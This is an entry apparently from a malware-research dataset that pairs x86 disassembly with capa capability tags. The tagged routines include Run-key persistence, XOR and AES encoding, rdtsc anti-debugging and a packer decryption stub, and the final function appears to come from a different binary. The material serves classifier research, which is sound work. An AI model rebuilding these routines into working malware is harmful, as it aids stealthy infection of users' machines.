joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404ee0
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0xc9c
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0xc94], eax
push esi
push edi
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
mov dword [esp + 0x30], 0
call dword [0x41800c]
mov edx, dword [esp + 8]
push 0x41a204
push edx
call dword [0x418008]
mov eax, dword [esp + 8]
push eax
call dword [0x418004]
mov ecx, dword [esp + 8]
push ecx
call dword [section..rdata]
lea edx, [esp + 0x680]
push edx
lea edx, [esp + 0x88c]
lea ecx, [esp + 0xa94]
call fcn.00404750
add esp, 4
push 0
push 1
push 0x6c174b4e
lea eax, [esp + 0x74]
push 0xc124b293
push eax
call fcn.00404370
add esp, 0x14
test eax, eax
je 0x404fa3
push 0x80
lea ecx, [esp + 0x6c]
push ecx
call dword [0x41805c]
lea edx, [esp + 0x68]
push edx
call dword [0x418058]
push 0x104
lea eax, [esp + 0x47c]
push eax
push 0
call dword [0x4180c0]
push 0x104
lea ecx, [esp + 0x274]
push ecx
push str.USERPROFILE
call dword [0x4180dc]
push 1
push 0
push 0xc67bb2c4
lea edx, [esp + 0x74]
push 0x2e439114
push edx
call fcn.00404370
add esp, 0x14
test eax, eax
je 0x4050fa
lea edi, [esp + 0x270]
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x405000
mov eax, dword [0x41a070]
mov dword [edi], eax
lea eax, [esp + 0x68]
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405020
lea edi, [esp + 0x270]
sub eax, edx
add edi, 0xfffffffe
jmp 0x405040
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x405040
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x274]
push ecx
lea edx, [esp + 0x480]
push edx
call dword [0x4180c8]
lea eax, [esp + 0x478]
add eax, 0xfffffffe
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x405080
mov ecx, dword [0x41a31c]
mov edx, dword [0x41a320]
mov dword [eax], ecx
push 0x44
mov dword [eax + 4], edx
lea eax, [esp + 0x24]
push 0
push eax
call fcn.0040eb90
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push edx
push eax
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x498]
push eax
lea ecx, [esp + 0x294]
push ecx
mov dword [esp + 0x48], 0x44
call dword [0x4180d4]
test eax, eax
je 0x4050fa
push 0
call dword [0x4180e8]
mov ecx, dword [esp + 0xc9c]
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.0040bd36
add esp, 0xc9c
ret
Function at 0x406fc0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x58
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x5c]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x74]
mov edi, dword [eax]
add edi, 7
shr edi, 3
xor ebx, ebx
push edi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], ebx
call fcn.0040d667
mov esi, eax
xor eax, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
lea eax, [esp + 0x34]
add esp, 4
sub eax, esi
mov dword [esp + 0x2c], 0x200
mov dword [esp + 0x50], ebx
mov dword [esp + 0x18], eax
jmp 0x407050
rdtsc
mov ebx, eax
mov ebp, edx
call dword [0x418078]
xor eax, ebp
xor eax, ebx
xor ecx, ecx
imul eax, eax, 0x19660d
add eax, 0x3c6ef35f
mov edx, eax
shr edx, 0x10
mov word [esi + ecx*2], dx
inc ecx
cmp ecx, 2
jb 0x407062
mov dword [0x42148c], eax
mov eax, esi
mov ecx, 0x20
jmp 0x407090
mov edx, dword [esp + 0x18]
mov dl, byte [edx + eax]
xor byte [eax], dl
inc eax
sub ecx, 1
jne 0x407090
push 4
push esi
lea ebx, [esp + 0x34]
call fcn.0040a0a0
add esp, 8
cmp dword [esp + 0x2c], 0
jne 0x407050
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x70]
mov eax, ebx
push eax
mov eax, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x20]
push eax
call fcn.0040a2d0
add esp, 0x10
mov ebx, 1
test eax, eax
je 0x4070e4
mov ebx, dword [esp + 0x24]
push edi
push 0
push esi
call fcn.0040eb90
add esp, 0xc
push esi
call fcn.0040d58a
mov ecx, dword [esp + 0x68]
add esp, 4
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040bd36
add esp, 0x58
ret

Function at 0x407110
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x78
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x7c]
xor ecx, ecx
push esi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ecx
push eax
mov eax, dword [esp + 0x88]
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.00409050
add esp, 4
lea esi, [esp + 8]
lea ecx, [esp + 0x64]
call fcn.004090f0
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 0x6c]
mov dword [edi], eax
mov eax, dword [esp + 0x70]
mov dword [edi + 4], ecx
mov ecx, dword [esp + 0x74]
pop esi
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
xor ecx, esp
mov eax, 1
call fcn.0040bd36
add esp, 0x78
ret
Function at 0x4071a0
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 0x13c
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x134], eax
mov eax, dword [esp + 0x140]
push ebx
push ebp
mov ebp, dword [esp + 0x14c]
push esi
push edi
push 0xbf
mov dword [esp + 0x18], eax
lea eax, [esp + 0x85]
push 0
push eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], edx
mov byte [esp + 0x8c], 0
call fcn.0040eb90
mov ebx, dword [0x418078]
rdtsc
add esp, 0xc
mov dword [esp + 0x10], 0xc0
mov esi, eax
mov edi, edx
call ebx
xor eax, edi
xor eax, esi
jne 0x407212
mov eax, dword [0x42148c]
imul eax, eax, 0x19660d
add eax, 0x3c6ef35f
mov dword [0x42148c], eax
rdtsc
mov esi, eax
mov edi, edx
call ebx
xor eax, edi
xor eax, esi
xor ecx, ecx
imul eax, eax, 0x19660d
add eax, 0x3c6ef35f
mov edx, eax
shr edx, 0x10
mov word [esp + ecx*2 + 0x20], dx
inc ecx
cmp ecx, 0x30
jb 0x407230
mov dword [0x42148c], eax
mov eax, dword [esp + 0x14]
push ebp
push eax
lea edi, [esp + 0x28]
call fcn.00407110
mov ecx, edi
mov edi, dword [esp + 0x20]
push ecx
lea edx, [esp + 0x8c]
push edx
lea ebx, [esp + 0x20]
mov dword [esp + 0x40], ebp
call fcn.0040a4b0
add esp, 0x10
test eax, eax
jne 0x4072c5
mov ebx, dword [esp + 0x10]
lea edi, [ebx + ebp]
push edi
call fcn.0040d667
mov esi, eax
add esp, 4
test esi, esi
je 0x4072c5
mov eax, dword [esp + 0x14]
push ebp
push eax
push esi
call fcn.0040ec10
add esp, 0xc
push ebx
lea ecx, [esp + 0x84]
push ecx
add ebp, esi
push ebp
call fcn.0040ec10
mov edx, dword [esp + 0x28]
add esp, 0xc
mov dword [edx], esi
mov eax, edi
jmp 0x4072c7
xor eax, eax
mov ecx, dword [esp + 0x144]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bd36
add esp, 0x13c
ret 8
Function at 0x4073f0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x90
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x94]
push ebx
push ebp
mov ebp, dword [0x418078]
mov dword [esp + 8], eax
xor eax, eax
push esi
push edi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], 0x600
mov dword [esp + 0x1c], 1
mov dword [esp + 0x20], 0x200
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
rdtsc
mov esi, eax
mov edi, edx
call ebp
xor eax, edi
xor eax, esi
xor ecx, ecx
lea esp, [esp]
imul eax, eax, 0x19660d
add eax, 0x3c6ef35f
mov edx, eax
shr edx, 0x10
mov word [esp + ecx*2 + 0x58], dx
inc ecx
cmp ecx, 0x20
jb 0x407480
mov dword [0x42148c], eax
xor eax, eax
mov cl, byte [esp + eax + 0x24]
xor byte [esp + eax + 0x58], cl
inc eax
cmp eax, 0x20
jb 0x4074a2
lea edx, [esp + 0x58]
push 0x40
push edx
lea ebx, [esp + 0x28]
call fcn.0040a0a0
add esp, 8
cmp dword [esp + 0x20], 0
jne 0x40746b
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x1c]
mov edx, ebx
call fcn.004098b0
add esp, 8
test eax, eax
jne 0x4074ed
mov eax, 1
jmp 0x4074ef
xor eax, eax
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bd36
add esp, 0x90
ret

Function at 0x407880
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x24
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x2c]
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
push edi
mov edi, eax
and edi, 0xf
sub eax, edi
mov dword [esp + 0x18], eax
mov eax, 0
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov dword [esp + 0x25], eax
mov word [esp + 0x29], ax
mov byte [esp + 0x2b], al
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x1c], 0xd73ec24b
mov dword [esp + 0x20], 0x56b94706
mov dword [esp + 0x24], 0x6b401643
mov dword [esp + 0x28], 0xec6b6f72
mov ebx, eax
je 0x407946
lea esi, [esp + 0x1d]
sub esi, ebp
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
mov ecx, edx
call fcn.004084e0
lea eax, [ebx + ebp]
add esp, 4
mov ebp, 4
lea esp, [esp]
movzx ecx, byte [esi + eax - 1]
movzx edx, byte [esi + eax]
xor byte [eax], cl
xor byte [eax + 1], dl
movzx ecx, byte [esi + eax + 1]
movzx edx, byte [esi + eax + 2]
xor byte [eax + 2], cl
xor byte [eax + 3], dl
add eax, 4
sub ebp, 1
jne 0x407910
mov ebp, dword [esp + 0x14]
add ebx, 0x10
sub esi, 0x10
cmp ebx, dword [esp + 0x18]
jb 0x4078f1
test edi, edi
je 0x40797b
lea eax, [esp + 0x1c]
push eax
mov ecx, eax
mov eax, dword [esp + 0x14]
call fcn.004084e0
add esp, 4
lea eax, [ebx + ebp]
test edi, edi
jbe 0x40797b
lea ecx, [esp + 0x1c]
sub ecx, eax
lea ebx, [ebx]
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
sub edi, 1
jne 0x407970
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bd36
add esp, 0x24
ret
Function at 0x407990
Capabilities:
Encode data using xor
Execute anti-debugging instructions

Disassembly:
sub esp, 0x134
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
xor eax, eax
push ebp
push esi
push edi
push 0xec
push eax
mov dword [esp + 0x125], eax
mov dword [esp + 0x129], eax
mov dword [esp + 0x12d], eax
mov dword [esp + 0x131], eax
mov dword [esp + 0x135], eax
mov dword [esp + 0x139], eax
mov dword [esp + 0x13d], eax
mov word [esp + 0x141], ax
mov byte [esp + 0x143], al
mov dword [esp + 0x20], eax
lea eax, [esp + 0x24]
push eax
mov edi, ecx
mov byte [esp + 0x128], 0
call fcn.0040eb90
add esp, 0xc
xor eax, eax
mov byte [esp + 0x10c], 0
mov dword [esp + 0x10d], eax
mov dword [esp + 0x111], eax
mov dword [esp + 0x115], eax
mov word [esp + 0x119], ax
mov byte [esp + 0x11b], al
mov dword [esp + 0x14], 2
xor esi, esi
rdtsc
mov ebx, eax
mov ebp, edx
call dword [0x418078]
xor eax, ebp
xor eax, ebx
mov dword [esp + esi*4 + 0x11c], eax
inc esi
cmp esi, 8
jb 0x407a43
xor esi, esi
rdtsc
mov ebp, eax
mov ebx, edx
call dword [0x418078]
xor eax, ebx
xor eax, ebp
mov dword [esp + esi*4 + 0x10c], eax
inc esi
cmp esi, 4
jb 0x407a62
lea ecx, [esp + 0x11c]
lea eax, [esp + 0x18]
call fcn.00408040
lea ecx, [esp + 0x10c]
push ecx
lea eax, [esp + 0x1c]
call fcn.004084e0
mov edx, dword [esp + 0x110]
mov eax, dword [esp + 0x114]
mov ecx, dword [esp + 0x118]
mov dword [edi], edx
mov edx, dword [esp + 0x11c]
mov dword [edi + 4], eax
xor eax, eax
add esp, 4
push 0xf0
push eax
mov dword [esp + 0x114], eax
mov dword [esp + 0x118], eax
mov dword [esp + 0x11c], eax
mov dword [esp + 0x120], eax
mov dword [esp + 0x124], eax
mov dword [esp + 0x128], eax
mov dword [esp + 0x12c], eax
mov dword [esp + 0x130], eax
mov dword [esp + 0x134], eax
mov dword [esp + 0x138], eax
mov dword [esp + 0x13c], eax
mov dword [esp + 0x140], eax
lea eax, [esp + 0x20]
mov dword [edi + 8], ecx
push eax
mov dword [edi + 0xc], edx
call fcn.0040eb90
add esp, 0xc
add edi, 0x10
sub dword [esp + 0x14], 1
jne 0x407a41
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bd36
add esp, 0x134
ret
Function at 0x407f30
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push edi
mov edi, eax
xor eax, eax
mov ebx, ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebp
test edi, edi
je 0x408025
push esi
xor esi, esi
xor ecx, ecx
test edi, edi
je 0x407f68
mov dl, byte [ebx]
mov byte [esp + ecx + 0x20], dl
inc ecx
inc esi
inc ebx
dec edi
cmp ecx, 3
jl 0x407f55
test esi, esi
je 0x407ff9
movzx ecx, byte [esp + 0x20]
mov eax, ecx
shr eax, 2
mov dl, byte [eax + 0x41ccf8]
mov byte [esp + 0x10], dl
movzx edx, byte [esp + 0x21]
and ecx, 3
shl ecx, 4
mov eax, edx
shr eax, 4
or eax, ecx
cmp esi, 1
movzx ecx, byte [eax + 0x41ccf8]
mov byte [esp + 0x11], cl
mov cl, byte [esp + 0x22]
jle 0x407fc5
and edx, 0xf
movzx eax, cl
add edx, edx
add edx, edx
shr eax, 6
or eax, edx
mov dl, byte [eax + 0x41ccf8]
mov byte [esp + 0x12], dl
jmp 0x407fca
mov byte [esp + 0x12], 0x3d
cmp esi, 2
jle 0x407fe1
movzx eax, cl
and eax, 0x3f
mov cl, byte [eax + 0x41ccf8]
mov byte [esp + 0x13], cl
jmp 0x407fe6
mov byte [esp + 0x13], 0x3d
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [ebp], edx
add ebp, 4
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x3f
jge 0x408006
test edi, edi
jne 0x407f51
test eax, eax
je 0x408016
mov eax, 0xd0a
mov word [ebp], ax
add ebp, 2
xor eax, eax
mov dword [esp + 0x14], eax
test edi, edi
jne 0x407f51
pop esi
pop edi
mov eax, ebp
sub eax, dword [esp + 0x10]
mov byte [ebp], 0
pop ebp
pop ebx
add esp, 0xc
ret 4
Function at 0x4082b0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ecx
push ebx
push esi
push edi
mov esi, eax
call fcn.00408040
lea edi, [eax*4]
xor ebx, ebx
mov dword [esp + 0xc], eax
test edi, edi
jle 0x408315
lea edx, [esi + edi*4 + 8]
lea ecx, [esi + 8]
push ebp
mov eax, dword [edx - 8]
mov ebp, dword [ecx - 8]
mov dword [ecx - 8], eax
mov dword [edx - 8], ebp
mov ebp, dword [edx - 4]
mov eax, dword [ecx - 4]
mov dword [ecx - 4], ebp
mov ebp, dword [edx]
mov dword [edx - 4], eax
mov eax, dword [ecx]
mov dword [ecx], ebp
mov ebp, dword [edx + 4]
mov dword [edx], eax
mov eax, dword [ecx + 4]
mov dword [ecx + 4], ebp
mov dword [edx + 4], eax
add ebx, 4
sub edi, 4
add ecx, 0x10
sub edx, 0x10
cmp ebx, edi
jl 0x4082d4
mov eax, dword [esp + 0x10]
pop ebp
cmp eax, 1
jle 0x4084d0
lea edx, [eax - 1]
mov ecx, dword [esi + 0x10]
movzx ebx, byte [esi + 0x11]
mov ebx, dword [ebx*4 + str.ccccwwww]
add esi, 0x10
mov edi, ecx
shr edi, 0x18
mov edi, dword [edi*4 + str.ccccwwww]
and edi, 0xff
mov edi, dword [edi*4 + 0x41b8d0]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x41c0d0]
movzx ebx, byte [esi + 2]
mov ebx, dword [ebx*4 + str.ccccwwww]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x41bcd0]
movzx ebx, byte [esi + 5]
and ecx, 0xff
mov ecx, dword [ecx*4 + str.ccccwwww]
and ecx, 0xff
xor edi, dword [ecx*4 + 0x41c4d0]
mov ecx, dword [esi + 4]
mov dword [esi], edi
mov ebx, dword [ebx*4 + str.ccccwwww]
mov edi, ecx
shr edi, 0x18
mov edi, dword [edi*4 + str.ccccwwww]
and edi, 0xff
mov edi, dword [edi*4 + 0x41b8d0]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x41c0d0]
movzx ebx, byte [esi + 6]
mov ebx, dword [ebx*4 + str.ccccwwww]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x41bcd0]
movzx ebx, byte [esi + 9]
and ecx, 0xff
mov ecx, dword [ecx*4 + str.ccccwwww]
and ecx, 0xff
xor edi, dword [ecx*4 + 0x41c4d0]
mov ecx, dword [esi + 8]
mov dword [esi + 4], edi
mov ebx, dword [ebx*4 + str.ccccwwww]
mov edi, ecx
shr edi, 0x18
mov edi, dword [edi*4 + str.ccccwwww]
and edi, 0xff
mov edi, dword [edi*4 + 0x41b8d0]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x41c0d0]
movzx ebx, byte [esi + 0xa]
mov ebx, dword [ebx*4 + str.ccccwwww]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x41bcd0]
movzx ebx, byte [esi + 0xd]
and ecx, 0xff
mov ecx, dword [ecx*4 + str.ccccwwww]
and ecx, 0xff
xor edi, dword [ecx*4 + 0x41c4d0]
mov ecx, dword [esi + 0xc]
mov dword [esi + 8], edi
mov ebx, dword [ebx*4 + str.ccccwwww]
mov edi, ecx
shr edi, 0x18
mov edi, dword [edi*4 + str.ccccwwww]
and edi, 0xff
mov edi, dword [edi*4 + 0x41b8d0]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x41c0d0]
movzx ebx, byte [esi + 0xe]
mov ebx, dword [ebx*4 + str.ccccwwww]
and ecx, 0xff
mov ecx, dword [ecx*4 + str.ccccwwww]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x41bcd0]
and ecx, 0xff
xor edi, dword [ecx*4 + 0x41c4d0]
sub edx, 1
mov dword [esi + 0xc], edi
jne 0x408321
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x40a0a0
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x78
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x7c]
push ebp
push esi
push edi
xor edi, edi
push eax
mov eax, dword [esp + 0x90]
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x14], 0x67452301
mov dword [esp + 0x18], 0xefcdab89
mov dword [esp + 0x1c], 0x98badcfe
mov dword [esp + 0x20], 0x10325476
call fcn.00409050
add esp, 4
lea esi, [esp + 0x10]
lea ecx, [esp + 0x6c]
call fcn.004090f0
xor ecx, ecx
lea esi, [esp + 0x7a]
lea eax, [ebx + 0x12]
lea edi, [ecx + 4]
lea esp, [esp]
movzx ebp, byte [eax + 1]
movzx edx, byte [esi + 1]
add ebp, ecx
lea ecx, [edx + ebp]
movzx edx, byte [eax]
mov byte [eax + 1], cl
shr ecx, 8
add ecx, edx
movzx edx, byte [esi]
add ecx, edx
mov edx, ecx
movzx ecx, byte [esi - 1]
mov byte [eax], dl
shr edx, 8
add ecx, edx
movzx edx, byte [eax - 1]
add ecx, edx
movzx edx, byte [esi - 2]
mov byte [eax - 1], cl
shr ecx, 8
add edx, ecx
movzx ecx, byte [eax - 2]
add ecx, edx
mov byte [eax - 2], cl
shr ecx, 8
sub esi, 4
sub eax, 4
sub edi, 1
jne 0x40a110
mov eax, dword [ebx]
mov ecx, dword [esp + 0x8c]
cmp eax, ecx
jae 0x40a186
mov dword [ebx], edi
xor eax, eax
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.0040bd36
add esp, 0x78
ret
sub eax, ecx
mov ecx, dword [esp + 0x7c]
pop edi
pop esi
pop ebp
mov dword [ebx], eax
xor ecx, esp
xor eax, eax
call fcn.0040bd36
add esp, 0x78
ret
Function at 0x40a1a0
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x68
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x60], eax
push ebp
mov ebp, dword [esp + 0x70]
push esi
push edi
xor edi, edi
cmp dword [ebx], edi
je 0x40a1d2
mov eax, 0x408
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.0040bd36
add esp, 0x68
ret
mov esi, dword [ebx + 0x24]
cmp dword [esp + 0x7c], esi
jbe 0x40a29b
jmp 0x40a1e3
xor edi, edi
mov eax, ebx
sub eax, esi
push esi
add eax, 0x38
push eax
push ebp
call fcn.0040ec10
sub dword [esp + 0x88], esi
lea eax, [ebx + 4]
push eax
mov eax, 0x20
lea ecx, [esp + 0x20]
add ebp, esi
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x20], 0x67452301
mov dword [esp + 0x24], 0xefcdab89
mov dword [esp + 0x28], 0x98badcfe
mov dword [esp + 0x2c], 0x10325476
call fcn.00409050
add esp, 0x10
lea esi, [esp + 0x10]
lea ecx, [ebx + 0x28]
call fcn.004090f0
mov esi, 0x10
lea eax, [ebx + 0x22]
lea esp, [esp]
mov cl, byte [eax + 1]
mov dl, cl
inc dl
mov byte [eax + 1], dl
test cl, cl
jne 0x40a291
mov cl, byte [eax]
mov dl, cl
inc dl
mov byte [eax], dl
test cl, cl
jne 0x40a291
mov cl, byte [eax - 1]
mov dl, cl
inc dl
mov byte [eax - 1], dl
test cl, cl
jne 0x40a291
mov cl, byte [eax - 2]
mov dl, cl
inc dl
mov byte [eax - 2], dl
test cl, cl
jne 0x40a291
add edi, 4
sub eax, 4
cmp edi, 0x20
jb 0x40a250
cmp dword [esp + 0x7c], esi
ja 0x40a1e1
mov eax, dword [esp + 0x7c]
mov ecx, ebx
sub ecx, esi
push eax
add ecx, 0x38
push ecx
push ebp
call fcn.0040ec10
sub esi, dword [esp + 0x88]
mov ecx, dword [esp + 0x78]
add esp, 0xc
pop edi
mov dword [ebx + 0x24], esi
pop esi
pop ebp
xor ecx, esp
xor eax, eax
call fcn.0040bd36
add esp, 0x68
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..retplne
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x2d266f24
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
nop
cmp eax, 0
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x18811e73
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4021b0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404c80
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x408460]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov dword [ebp - 0x1c], ebx
xor cl, cl
mov byte [ebp - 0x11], cl
test cl, cl
jne 0x402397
mov eax, dword [ebp + 8]
mov eax, dword [eax]
cmp eax, dword [ebx + 4]
jae 0x402397
mov edx, dword [ebx]
mov esi, dword [ebx + 0x2c]
lea ecx, [eax + eax*2]
mov eax, dword [edx + ecx*4 + 4]
lea edi, [edx + ecx*4]
mov ecx, eax
shl ecx, 4
add ecx, eax
cmp byte [esi + ecx*4 + 0x1c], 0
lea esi, [esi + ecx*4]
mov dword [ebp - 0x18], esi
jne 0x40224a
cmp byte [ebx + 0x20], 0
mov dword [ebp - 4], 0
je 0x402271
mov edi, dword [edi]
cmp edi, 2
jl case.default.0x40227c
cmp edi, 5
jle 0x402254
cmp edi, 6
jne case.default.0x40227c
mov ecx, esi
call fcn.00401cf0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
inc dword [eax]
mov cl, byte [ebp - 0x11]
jmp 0x4021e5
mov byte [ebp - 0x11], 1
call fcn.00401fe0
mov eax, dword [ebp + 8]
inc dword [eax]
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
jmp 0x4021e5
mov eax, dword [edi]
mov byte [ebp - 0x11], 1
cmp eax, 6
ja case.default.0x40227c
jmp dword [eax*4 + 0x4023b0]
cmp dword [esi + 0x14], 0x10
jb 0x40228b
mov esi, dword [esi]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp + 8]
inc dword [eax]
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
jmp 0x4021e5
mov edi, dword [edi + 8]
push esi
call fcn.00402140
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 0x11]
add esp, 4
inc dword [eax]
mov dword [ebp - 4], 0xffffffff
jmp 0x4021e5
lea edx, [esi + 0x24]
push 1
push edx
mov eax, esi
call fcn.00402030
add esp, 8
test al, al
je case.default.0x40227c
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x2c]
mov edx, dword [edi + 8]
push eax
mov eax, dword [ebx + 0x10]
push ecx
lea ecx, [eax + edx*8]
push ecx
call fcn.00401b10
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 0x11]
add esp, 0xc
inc dword [eax]
mov dword [ebp - 4], 0xffffffff
jmp 0x4021e5
lea edx, [esi + 0x34]
push 0
push edx
mov eax, esi
call fcn.00402030
add esp, 8
test al, al
je case.default.0x40227c
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x3c]
jmp 0x4022e4
call fcn.00401fe0
test al, al
je case.default.0x40227c
mov eax, dword [ebx + 0x24]
test eax, eax
je case.default.0x40227c
mov edx, dword [ebx + 0x28]
mov ecx, dword [esi + 0x20]
push edx
push eax
mov eax, dword [edi + 8]
shl eax, 4
add eax, dword [ebx + 0x18]
push eax
push ecx
call fcn.00401d60
